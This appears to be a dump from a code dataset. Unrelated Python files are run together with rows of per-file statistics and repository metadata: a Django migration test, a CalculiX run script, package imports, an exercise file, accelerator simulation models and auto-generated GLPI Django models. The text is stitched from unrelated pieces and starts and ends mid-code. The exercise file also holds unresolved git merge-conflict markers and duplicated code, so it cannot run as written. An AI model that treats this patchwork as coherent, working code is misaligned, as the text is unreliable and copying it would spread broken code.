self.assertEqual( [u.username for u in User.objects.all()], ['FOO', 'foo', 'BaR', 'bar', 'baz']) self.assertEqual( [u.nickname for u in UserProfile.objects.all()], ['FOO', 'foo', 'BaR', 'bar', 'baz']) def test_migration_11_make_usernames_lower_integrity_err(self): with override_settings(ST_CASE_INSENSITIVE_USERNAMES=False): utils.create_user(username='FOO') utils.create_user(username='fOo') utils.create_user(username='Foo') utils.create_user(username='bar') utils.create_user(username='bAr') utils.create_user(username='baz') self.assertEqual( [u.username for u in User.objects.all()], ['FOO', 'fOo', 'Foo', 'bar', 'bAr', 'baz']) # transaction is already handled with self.assertRaises(IntegrityError) as cm: data_migration_11.make_usernames_lower(apps, None) self.maxDiff = None self.assertEqual( str(cm.exception), "There are two or more users with similar name but " "different casing, for example: someUser and SomeUser, " "either remove one of them or set the " "`ST_CASE_INSENSITIVE_USERNAMES` setting to False. " "Then run the upgrade/migration again. Any change was reverted. " "Duplicate users are ['FOO', 'fOo', 'Foo', 'bar', 'bAr']") def test_migration_11_idempotency(self): """Should be idempotent""" with override_settings(ST_CASE_INSENSITIVE_USERNAMES=False): utils.create_user(username='FOO') self.assertEqual( UserProfile.objects.all().update(nickname=''), 1) data_migration_11.populate_nickname(apps, None) data_migration_11.make_usernames_lower(apps, None) self.assertEqual( [u.username for u in User.objects.all()], ['foo']) self.assertEqual( [u.nickname for u in UserProfile.objects.all()], ['FOO']) data_migration_11.populate_nickname(apps, None) data_migration_11.make_usernames_lower(apps, None) self.assertEqual( [u.username for u in User.objects.all()], ['foo']) self.assertEqual( [u.nickname for u in UserProfile.objects.all()], ['FOO']) def test_migration_profiles(self): """Should create profile for existing users""" foo = utils.create_user(username='foo') bar = utils.create_user(username='bar') UserProfile.objects.filter(user=foo).delete() UserProfile.objects.filter(user=bar).delete() foo = User.objects.get(pk=foo.pk) bar = User.objects.get(pk=bar.pk) with self.assertRaises(ObjectDoesNotExist): self.assertIsNone(foo.st) with self.assertRaises(ObjectDoesNotExist): self.assertIsNone(bar.st) data_migration_profiles.migrate_profiles(apps, None) self.assertTrue(User.objects.get(pk=foo.pk).st.is_verified) self.assertTrue(User.objects.get(pk=bar.pk).st.is_verified)
39.957143
89
0.6338
7,593
64,331
5.202292
0.05729
0.042733
0.028354
0.023898
0.850308
0.82441
0.795625
0.78036
0.748209
0.714362
0
0.016578
0.242356
64,331
1,609
90
39.981976
0.793865
0.040525
0
0.726683
0
0.009732
0.095312
0.027841
0
0
0
0
0.208435
1
0.077048
false
0.028386
0.024331
0.000811
0.112733
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
75f7b0dd31ff432a80356bdd14199bbcc98e9d2f
187
py
Python
rotating_disk_axisymmetric/run_rotating_disk_axisymmetric_py.py
suleymanmuti/CalculiX-Examples
3f5bc0247de90cfc312bf13a1d0e93b39da4b5e7
[ "MIT" ]
null
null
null
rotating_disk_axisymmetric/run_rotating_disk_axisymmetric_py.py
suleymanmuti/CalculiX-Examples
3f5bc0247de90cfc312bf13a1d0e93b39da4b5e7
[ "MIT" ]
null
null
null
rotating_disk_axisymmetric/run_rotating_disk_axisymmetric_py.py
suleymanmuti/CalculiX-Examples
3f5bc0247de90cfc312bf13a1d0e93b39da4b5e7
[ "MIT" ]
1
2021-02-22T10:56:47.000Z
2021-02-22T10:56:47.000Z
#!/usr/bin/python import os os.system("cgx -bg rotating_disk_axisymmetric_pre.fbd") os.system("ccx rotating_disk_axisymmetric") os.system("cgx -bg rotating_disk_axisymmetric_post.fbd")
23.375
56
0.802139
29
187
4.896552
0.517241
0.169014
0.507042
0.183099
0.521127
0.521127
0.521127
0
0
0
0
0
0.069519
187
7
57
26.714286
0.816092
0.085562
0
0
0
0
0.680473
0.56213
0
0
0
0
0
1
0
true
0
0.25
0
0.25
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
1
1
null
0
0
0
0
0
0
1
0
0
0
0
0
0
7
f933e47ce61dd61c612602670a864ba6b84d7efa
678
py
Python
dockstring/__init__.py
dockstring/dockstring
8941094d3710a58144215d8f7b6829bb3f192979
[ "Apache-2.0" ]
15
2021-11-02T13:50:01.000Z
2022-03-29T21:53:36.000Z
dockstring/__init__.py
dockstring/dockstring
8941094d3710a58144215d8f7b6829bb3f192979
[ "Apache-2.0" ]
1
2022-01-31T11:47:18.000Z
2022-02-02T20:13:06.000Z
dockstring/__init__.py
dockstring/dockstring
8941094d3710a58144215d8f7b6829bb3f192979
[ "Apache-2.0" ]
1
2022-03-09T23:01:50.000Z
2022-03-09T23:01:50.000Z
from .errors import (DockstringError, CanonicalizationError, ParsingError, OutputError, SanityError, EmbeddingError, StructureOptimizationError, FormatConversionError, ProtonationError, PoseProcessingError, VinaError, DockingError) from .target import load_target, list_all_target_names from .utils import setup_logger __all__ = [ 'load_target', 'list_all_target_names', 'setup_logger', 'DockstringError', 'CanonicalizationError', 'ParsingError', 'OutputError', 'SanityError', 'EmbeddingError', 'StructureOptimizationError', 'FormatConversionError', 'ProtonationError', 'PoseProcessingError', 'VinaError', 'DockingError' ]
56.5
119
0.761062
50
678
10.04
0.46
0.143426
0.191235
0.23506
0.856574
0.856574
0.74502
0.74502
0.74502
0.74502
0
0
0.144543
678
11
120
61.636364
0.865517
0
0
0
0
0
0.340708
0.131268
0
0
0
0
0
1
0
false
0
0.3
0
0.3
0
0
0
1
null
0
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
f93c3321284814ebb0afd4aa1663e52e86fd8322
3,633
py
Python
sessionWithHasan.py
kamwithak/competitiveProgramming
ab4433568081900212a8a987d7bf8cb78d2698d1
[ "MIT" ]
null
null
null
sessionWithHasan.py
kamwithak/competitiveProgramming
ab4433568081900212a8a987d7bf8cb78d2698d1
[ "MIT" ]
1
2020-07-19T15:40:25.000Z
2020-07-19T15:40:25.000Z
sessionWithHasan.py
kamwithak/competitiveProgramming
ab4433568081900212a8a987d7bf8cb78d2698d1
[ "MIT" ]
null
null
null
<<<<<<< HEAD """ Write a function that takes a list as an argument, iterate over all the numbers in list: take sum, return sum """ def _sum(_input): x = 0 for i in range(len(_input)): x += _input[i] return x # print(_sum([1,2,3,4,5])) """ Write a function nmaed 'isEven' that takes a int as input, check if the int is even, then return True if it is odd, then return False """ def isEven(n): if(n % 2 == 0): return True return False # print(isEven(12)) def isOdd(n): return not isEven(n) """ Take the sum of a list, but only where the indicies are even. Call it evenSum([]) """ def evenSum(_list): x = 0 for i in range(len(_list)): if isEven(i): x += _list[i] return x # print(evenSum([1,2,3,4,5])) """ Given a string, count the number of chars in that string, and put that into a dictionary. """ def countChars(aStr): _dict = {} for val in aStr: if (val in _dict): _dict[val] += 1 else: _dict[val] = 1 return _dict # print(countChars('HASAAN')) # print({'H':1, 'A':3, 'S':1, 'N':1}) def reverse(_list): return _list[::-1] def flip(param, aMatrix): temp = aMatrix if (param == 'V'): for i in range(len(temp)): temp[i] = reverse(temp[i]) elif (param == 'H'): temp = reverse(temp) return temp def main(aSequence, aMatrix): curMatrix = aMatrix for subSequence in aSequence: curMatrix = flip(subSequence, curMatrix) return curMatrix # print(main('VH', [[1,2],[3,4]])) def reverse(arr): def swap(i, j): tmp = arr[i] arr[i] = arr[j] arr[j] = tmp i = 0 j = len(arr)-1 while (i <= j): swap(i,j) i+=1 j-=1 return arr print(reverse([1,2,3,4])) ======= """ Write a function that takes a list as an argument, iterate over all the numbers in list: take sum, return sum """ def _sum(_input): x = 0 for i in range(len(_input)): x += _input[i] return x # print(_sum([1,2,3,4,5])) """ Write a function nmaed 'isEven' that takes a int as input, check if the int is even, then return True if it is odd, then return False """ def isEven(n): if(n % 2 == 0): return True return False # print(isEven(12)) def isOdd(n): return not isEven(n) """ Take the sum of a list, but only where the indicies are even. Call it evenSum([]) """ def evenSum(_list): x = 0 for i in range(len(_list)): if isEven(i): x += _list[i] return x # print(evenSum([1,2,3,4,5])) """ Given a string, count the number of chars in that string, and put that into a dictionary. """ def countChars(aStr): _dict = {} for val in aStr: if (val in _dict): _dict[val] += 1 else: _dict[val] = 1 return _dict # print(countChars('HASAAN')) # print({'H':1, 'A':3, 'S':1, 'N':1}) def reverse(_list): return _list[::-1] def flip(param, aMatrix): temp = aMatrix if (param == 'V'): for i in range(len(temp)): temp[i] = reverse(temp[i]) elif (param == 'H'): temp = reverse(temp) return temp def main(aSequence, aMatrix): curMatrix = aMatrix for subSequence in aSequence: curMatrix = flip(subSequence, curMatrix) return curMatrix # print(main('VH', [[1,2],[3,4]])) def reverse(arr): def swap(i, j): tmp = arr[i] arr[i] = arr[j] arr[j] = tmp i = 0 j = len(arr)-1 while (i <= j): swap(i,j) i+=1 j-=1 return arr reversed = [] def reverse2(arr): for elem in arr: reversed.insert(0, elem) return reversed print(reverse2([1,2,3,4])) >>>>>>> c87048f6d203a6448ef863b636a9fca7537a1dee
17.635922
62
0.582989
580
3,633
3.6
0.165517
0.007663
0.011494
0.015326
0.931034
0.931034
0.931034
0.931034
0.931034
0.931034
0
0.036458
0.260116
3,633
205
63
17.721951
0.740327
0.09221
0
0.912281
0
0
0.001738
0
0
0
0
0
0
0
null
null
0
0
null
null
0.017544
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
f9c32592369e43ec0e2522d4927e77290e653368
7,474
py
Python
genesys/genesys/simulation/simulation_models.py
VeriGOOD-ML/public
8a164a403f35a671ecb57583547229d6ce46a151
[ "Apache-2.0" ]
6
2021-04-20T06:33:25.000Z
2022-02-24T06:46:13.000Z
genesys/genesys/simulation/simulation_models.py
VeriGOOD-ML/public
8a164a403f35a671ecb57583547229d6ce46a151
[ "Apache-2.0" ]
3
2021-04-20T04:28:51.000Z
2021-05-24T05:14:31.000Z
genesys/genesys/simulation/simulation_models.py
VeriGOOD-ML/public
8a164a403f35a671ecb57583547229d6ce46a151
[ "Apache-2.0" ]
4
2021-04-08T16:38:46.000Z
2021-04-30T05:51:30.000Z
import logging import math import numpy as np from data_objects import HardwareObject, SAResult_Inflayer, SIMDResult_Inflayer from layer_object import LayerObject from sysarray_models import conv_access_model, conv_cycle_model, gemm_access_model, gemm_cycle_model from simd_models import relu_access_model, relu_cycle_model, elemadd_access_model, elemadd_cycle_model, pool_access_model, pool_cycle_model from simd_models import softmax_access_model, softmax_cycle_model, roialignpool_access_model, roialignpool_cycle_model from train_models import common_SIMD_backward_model, batch_norm_forward_estimate, batch_norm_backward_estimate def models_inference_high(Hardware_param, LayerObj): #This function is mainly creating the hierarchy for the simulator SysResult_inflayer = SAResult_Inflayer() # this result object will store all the results for the systolic array hardware SIMDResult_inflayer = SIMDResult_Inflayer() # this result object will store all the results for the SIMD array hardware #unpacking the necessary variables Layer_name = LayerObj.Layer_name Exe_Hardware = LayerObj.Exe_Hardware Buffering_scheme_SA = Hardware_param.Buffering_scheme_SA Buffering_scheme_VMEM = Hardware_param.Buffering_scheme_VMEM #print(Layer_name) #print(Buffering_scheme_SA) if (Exe_Hardware == "Systolic"): print("execution hardware systolic") if (Buffering_scheme_SA == "double"): print("Systolic double buffered scheme") if (Layer_name == "Convolution"): conv_access_model(Hardware_param, LayerObj, SysResult_inflayer) #ifmap_access_SRAM, filter_access_SRAM, psum_access_SRAM, bias_access_SRAM = SRAM_access #ifmap_access_DRAM, filter_access_DRAM, psum_access_DRAM, ofmap_access_DRAM, bias_access_DRAM = DRAM_access conv_cycle_model(Hardware_param, LayerObj, SysResult_inflayer) elif (Layer_name == "GEMM"): gemm_access_model(Hardware_param, LayerObj, SysResult_inflayer) gemm_cycle_model(Hardware_param, LayerObj, SysResult_inflayer) else: print("model do not exist now for layers other than convolution and gemm") else: print("Model do not exist for SA non double buffer scheme now") elif Exe_Hardware == "SIMD": print("execution hardware SIMD") if (Buffering_scheme_VMEM == "single"): print("SIMD single buffered scheme") if(Layer_name == "ReLU"): relu_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) relu_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif(Layer_name == "ElemAdd"): elemadd_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) elemadd_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "MaxPool" or Layer_name == "AvgPool": pool_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) pool_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "Softmax": softmax_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) softmax_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "ROIAlignPool": roialignpool_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) roialignpool_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) else: print("Model do not exist yet for this layer, Layer_name:", Layer_name) else: print("Model do not exist for SIMD non single buffer scheme now") return SysResult_inflayer, SIMDResult_inflayer def models_training_high(Hardware_param, LayerObj): #This function is mainly creating the hierarchy for the simulator SysResult_inflayer = SAResult_Inflayer() # this result object will store all the results for the systolic array hardware SIMDResult_inflayer = SIMDResult_Inflayer() # this result object will store all the results for the SIMD array hardware #unpacking the necessary variables Layer_name = LayerObj.Layer_name Exe_Hardware = LayerObj.Exe_Hardware Buffering_scheme_SA = Hardware_param.Buffering_scheme_SA Buffering_scheme_VMEM = Hardware_param.Buffering_scheme_VMEM #print(Layer_name) #print(Buffering_scheme_SA) if (Exe_Hardware == "Systolic"): print("execution hardware systolic") if (Buffering_scheme_SA == "double"): print("Systolic double buffered scheme") if (Layer_name == "Convolution"): conv_access_model(Hardware_param, LayerObj, SysResult_inflayer) #ifmap_access_SRAM, filter_access_SRAM, psum_access_SRAM, bias_access_SRAM = SRAM_access #ifmap_access_DRAM, filter_access_DRAM, psum_access_DRAM, ofmap_access_DRAM, bias_access_DRAM = DRAM_access conv_cycle_model(Hardware_param, LayerObj, SysResult_inflayer) elif (Layer_name == "GEMM"): gemm_access_model(Hardware_param, LayerObj, SysResult_inflayer) gemm_cycle_model(Hardware_param, LayerObj, SysResult_inflayer) else: print("model do not exist now for layers other than convolution and gemm") else: print("Model do not exist for SA non double buffer scheme now") elif Exe_Hardware == "SIMD": print("execution hardware SIMD") if (Buffering_scheme_VMEM == "single"): print("SIMD single buffered scheme") if(Layer_name == "ReLU"): relu_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) relu_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif(Layer_name == "ElemAdd"): elemadd_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) elemadd_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "MaxPool" or Layer_name == "AvgPool": pool_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) pool_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "Softmax": softmax_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) softmax_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "ROIAlignPool": roialignpool_access_model(Hardware_param, LayerObj, SIMDResult_inflayer) roialignpool_cycle_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "Common_SIMD_Backward": common_SIMD_backward_model(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == 'BatchNorm': batch_norm_forward_estimate(Hardware_param, LayerObj, SIMDResult_inflayer) elif Layer_name == "BatchNorm_Backward": batch_norm_backward_estimate(Hardware_param, LayerObj, SIMDResult_inflayer) else: print("Model do not exist yet for this layer, Layer_name:", Layer_name) else: print("Model do not exist for SIMD non single buffer scheme now") return SysResult_inflayer, SIMDResult_inflayer
47.006289
139
0.702435
850
7,474
5.821176
0.118824
0.097211
0.140057
0.152385
0.882983
0.882983
0.867623
0.867623
0.867623
0.841956
0
0
0.236286
7,474
158
140
47.303797
0.866854
0.129783
0
0.838095
0
0
0.135585
0
0
0
0
0
0
1
0.019048
false
0
0.085714
0
0.12381
0.152381
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
ddc3e0b320fa5300deb49ef8e3be9dece5fe388c
147
py
Python
demo3/pkg_foo/module_foo.py
nan-wang/python-meetup-hangzhou-202203
f4867f6a4a3c1f90da41ad46e9597ef9e398d146
[ "Apache-2.0" ]
3
2022-03-06T13:24:21.000Z
2022-03-31T09:30:26.000Z
demo3/pkg_foo/module_foo.py
nan-wang/python-meetup-hangzhou-202203
f4867f6a4a3c1f90da41ad46e9597ef9e398d146
[ "Apache-2.0" ]
null
null
null
demo3/pkg_foo/module_foo.py
nan-wang/python-meetup-hangzhou-202203
f4867f6a4a3c1f90da41ad46e9597ef9e398d146
[ "Apache-2.0" ]
null
null
null
print(f'import {__name__}') from .module_bar import bar_var def print_foo(): print(f'{__name__}: this is foo, this is imported: {bar_var}')
18.375
66
0.70068
24
147
3.791667
0.541667
0.131868
0
0
0
0
0
0
0
0
0
0
0.156463
147
8
66
18.375
0.733871
0
0
0
0
0
0.466216
0
0
0
0
0
0
1
0.25
true
0
0.75
0
1
0.75
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
0
1
1
0
7
ddee7647acb8601e45fed08ca3b753ababf571cd
285,225
py
Python
glpi/models.py
dbca-wa/glpiconnect
3014adbab123e98a408b8b7279cfa7265c1caf86
[ "Apache-2.0" ]
null
null
null
glpi/models.py
dbca-wa/glpiconnect
3014adbab123e98a408b8b7279cfa7265c1caf86
[ "Apache-2.0" ]
null
null
null
glpi/models.py
dbca-wa/glpiconnect
3014adbab123e98a408b8b7279cfa7265c1caf86
[ "Apache-2.0" ]
null
null
null
# This is an auto-generated Django model module. # You'll have to do the following manually to clean this up: # * Rearrange models' order # * Make sure each model has one field with primary_key=True # * Make sure each ForeignKey and OneToOneField has `on_delete` set to the desired behavior # * Remove `managed = False` lines if you wish to allow Django to create, modify, and delete the table # Feel free to rename the models, but don't rename db_table values or field names. from django.db import models class GlpiAlerts(models.Model): id = models.IntegerField(primary_key=True) itemtype = models.CharField(max_length=100) items_id = models.IntegerField() type = models.IntegerField() date = models.DateTimeField() class Meta: managed = False db_table = 'glpi_alerts' unique_together = ('itemtype', 'items_id', 'type') class GlpiApiclients(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) is_active = models.IntegerField() ipv4_range_start = models.BigIntegerField(blank=True, null=True) ipv4_range_end = models.BigIntegerField(blank=True, null=True) ipv6 = models.CharField(max_length=255, blank=True, null=True) app_token = models.CharField(max_length=255, blank=True, null=True) app_token_date = models.DateTimeField(blank=True, null=True) dolog_method = models.IntegerField() comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_apiclients' class GlpiApplianceenvironments(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_applianceenvironments' class GlpiAppliancerelations(models.Model): id = models.IntegerField(primary_key=True) appliances_items = models.ForeignKey('GlpiAppliancesItems', on_delete=models.PROTECT) relations_id = models.IntegerField() class Meta: managed = False db_table = 'glpi_appliancerelations' class GlpiAppliances(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255) is_deleted = models.IntegerField() appliancetypes = models.ForeignKey('GlpiAppliancetypes', on_delete=models.PROTECT) comment = models.TextField(blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) applianceenvironments = models.ForeignKey('GlpiApplianceenvironments', on_delete=models.PROTECT) users = models.ForeignKey('GlpiUsers', on_delete=models.PROTECT) users_id_tech = models.IntegerField() groups = models.ForeignKey('GlpiGroups', on_delete=models.PROTECT) groups_id_tech = models.IntegerField() relationtype = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) states = models.ForeignKey('GlpiStates', on_delete=models.PROTECT) externalidentifier = models.CharField(unique=True, max_length=255, blank=True, null=True) serial = models.CharField(max_length=255, blank=True, null=True) otherserial = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_appliances' class GlpiAppliancesItems(models.Model): id = models.IntegerField(primary_key=True) appliances = models.ForeignKey('GlpiAppliances', on_delete=models.PROTECT) items_id = models.IntegerField() itemtype = models.CharField(max_length=100) class Meta: managed = False db_table = 'glpi_appliances_items' unique_together = ('appliances_id', 'items_id', 'itemtype') class GlpiAppliancetypes(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255) comment = models.TextField(blank=True, null=True) externalidentifier = models.CharField(unique=True, max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_appliancetypes' class GlpiAuthldapreplicates(models.Model): id = models.IntegerField(primary_key=True) authldaps = models.ForeignKey('GlpiAuthldaps', on_delete=models.PROTECT) host = models.CharField(max_length=255, blank=True, null=True) port = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_authldapreplicates' class GlpiAuthldaps(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) host = models.CharField(max_length=255, blank=True, null=True) basedn = models.CharField(max_length=255, blank=True, null=True) rootdn = models.CharField(max_length=255, blank=True, null=True) port = models.IntegerField() condition = models.TextField(blank=True, null=True) login_field = models.CharField(max_length=255, blank=True, null=True) sync_field = models.CharField(max_length=255, blank=True, null=True) use_tls = models.IntegerField() group_field = models.CharField(max_length=255, blank=True, null=True) group_condition = models.TextField(blank=True, null=True) group_search_type = models.IntegerField() group_member_field = models.CharField(max_length=255, blank=True, null=True) email1_field = models.CharField(max_length=255, blank=True, null=True) realname_field = models.CharField(max_length=255, blank=True, null=True) firstname_field = models.CharField(max_length=255, blank=True, null=True) phone_field = models.CharField(max_length=255, blank=True, null=True) phone2_field = models.CharField(max_length=255, blank=True, null=True) mobile_field = models.CharField(max_length=255, blank=True, null=True) comment_field = models.CharField(max_length=255, blank=True, null=True) use_dn = models.IntegerField() time_offset = models.IntegerField() deref_option = models.IntegerField() title_field = models.CharField(max_length=255, blank=True, null=True) category_field = models.CharField(max_length=255, blank=True, null=True) language_field = models.CharField(max_length=255, blank=True, null=True) entity_field = models.CharField(max_length=255, blank=True, null=True) entity_condition = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) is_default = models.IntegerField() is_active = models.IntegerField() rootdn_passwd = models.CharField(max_length=255, blank=True, null=True) registration_number_field = models.CharField(max_length=255, blank=True, null=True) email2_field = models.CharField(max_length=255, blank=True, null=True) email3_field = models.CharField(max_length=255, blank=True, null=True) email4_field = models.CharField(max_length=255, blank=True, null=True) location_field = models.CharField(max_length=255, blank=True, null=True) responsible_field = models.CharField(max_length=255, blank=True, null=True) pagesize = models.IntegerField() ldap_maxlimit = models.IntegerField() can_support_pagesize = models.IntegerField() picture_field = models.CharField(max_length=255, blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) inventory_domain = models.CharField(max_length=255, blank=True, null=True) class Meta: managed = False db_table = 'glpi_authldaps' class GlpiAuthmails(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) connect_string = models.CharField(max_length=255, blank=True, null=True) host = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) comment = models.TextField(blank=True, null=True) is_active = models.IntegerField() class Meta: managed = False db_table = 'glpi_authmails' class GlpiAutoupdatesystems(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_autoupdatesystems' class GlpiBlacklistedmailcontents(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) content = models.TextField(blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_blacklistedmailcontents' class GlpiBlacklists(models.Model): id = models.IntegerField(primary_key=True) type = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) value = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_blacklists' class GlpiBudgets(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) is_deleted = models.IntegerField() begin_date = models.DateField(blank=True, null=True) end_date = models.DateField(blank=True, null=True) value = models.DecimalField(max_digits=20, decimal_places=4) is_template = models.IntegerField() template_name = models.CharField(max_length=255, blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) budgettypes = models.ForeignKey('GlpiBudgettypes', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_budgets' class GlpiBudgettypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_budgettypes' class GlpiBusinesscriticities(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) businesscriticities = models.ForeignKey('self', on_delete=models.PROTECT) completename = models.TextField(blank=True, null=True) level = models.IntegerField() ancestors_cache = models.TextField(blank=True, null=True) sons_cache = models.TextField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_businesscriticities' unique_together = (('businesscriticities', 'name'),) class GlpiCalendars(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) cache_duration = models.TextField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_calendars' class GlpiCalendarsHolidays(models.Model): id = models.IntegerField(primary_key=True) calendars = models.ForeignKey('GlpiCalendars', on_delete=models.PROTECT) holidays = models.ForeignKey('GlpiHolidays', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_calendars_holidays' unique_together = ('calendars', 'holidays') class GlpiCalendarsegments(models.Model): id = models.IntegerField(primary_key=True) calendars = models.ForeignKey('GlpiCalendars', on_delete=models.PROTECT) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() day = models.IntegerField() begin = models.TimeField(blank=True, null=True) end = models.TimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_calendarsegments' class GlpiCartridgeitems(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) is_recursive = models.IntegerField() name = models.CharField(max_length=255, blank=True, null=True) ref = models.CharField(max_length=255, blank=True, null=True) locations = models.ForeignKey('GlpiLocations', on_delete=models.PROTECT) cartridgeitemtypes = models.ForeignKey('GlpiCartridgeitemtypes', on_delete=models.PROTECT) manufacturers = models.ForeignKey('GlpiManufacturers', on_delete=models.PROTECT) users_id_tech = models.IntegerField() groups_id_tech = models.IntegerField() is_deleted = models.IntegerField() comment = models.TextField(blank=True, null=True) alarm_threshold = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_cartridgeitems' class GlpiCartridgeitemsPrintermodels(models.Model): id = models.IntegerField(primary_key=True) cartridgeitems = models.ForeignKey('GlpiCartridgeitems', on_delete=models.PROTECT) printermodels = models.ForeignKey('GlpiPrintermodels', on_delete=models.PROTECT) class Meta: managed = False db_table = 'glpi_cartridgeitems_printermodels' unique_together = ('printermodels', 'cartridgeitems') class GlpiCartridgeitemtypes(models.Model): id = models.IntegerField(primary_key=True) name = models.CharField(max_length=255, blank=True, null=True) comment = models.TextField(blank=True, null=True) date_mod = models.DateTimeField(blank=True, null=True) date_creation = models.DateTimeField(blank=True, null=True) class Meta: managed = False db_table = 'glpi_cartridgeitemtypes' class GlpiCartridges(models.Model): id = models.IntegerField(primary_key=True) entities = models.ForeignKey('GlpiEntities', on_delete=models.PROTECT) cartridgeitems = models.ForeignKey('GlpiCartridgeitems', on_delete=models.PROTECT) printers = models.ForeignKey('GlpiPrinters', on_delete=models.PROTECT) date_in = models.DateField(blank=True, null=True) date_use = models.DateField(blank=True, null=True) date_out = models.DateField(blank=True, null=True) pages = models.IntegerField() date_mod = models.DateTimeField(blank=True, null=True) date_creation = 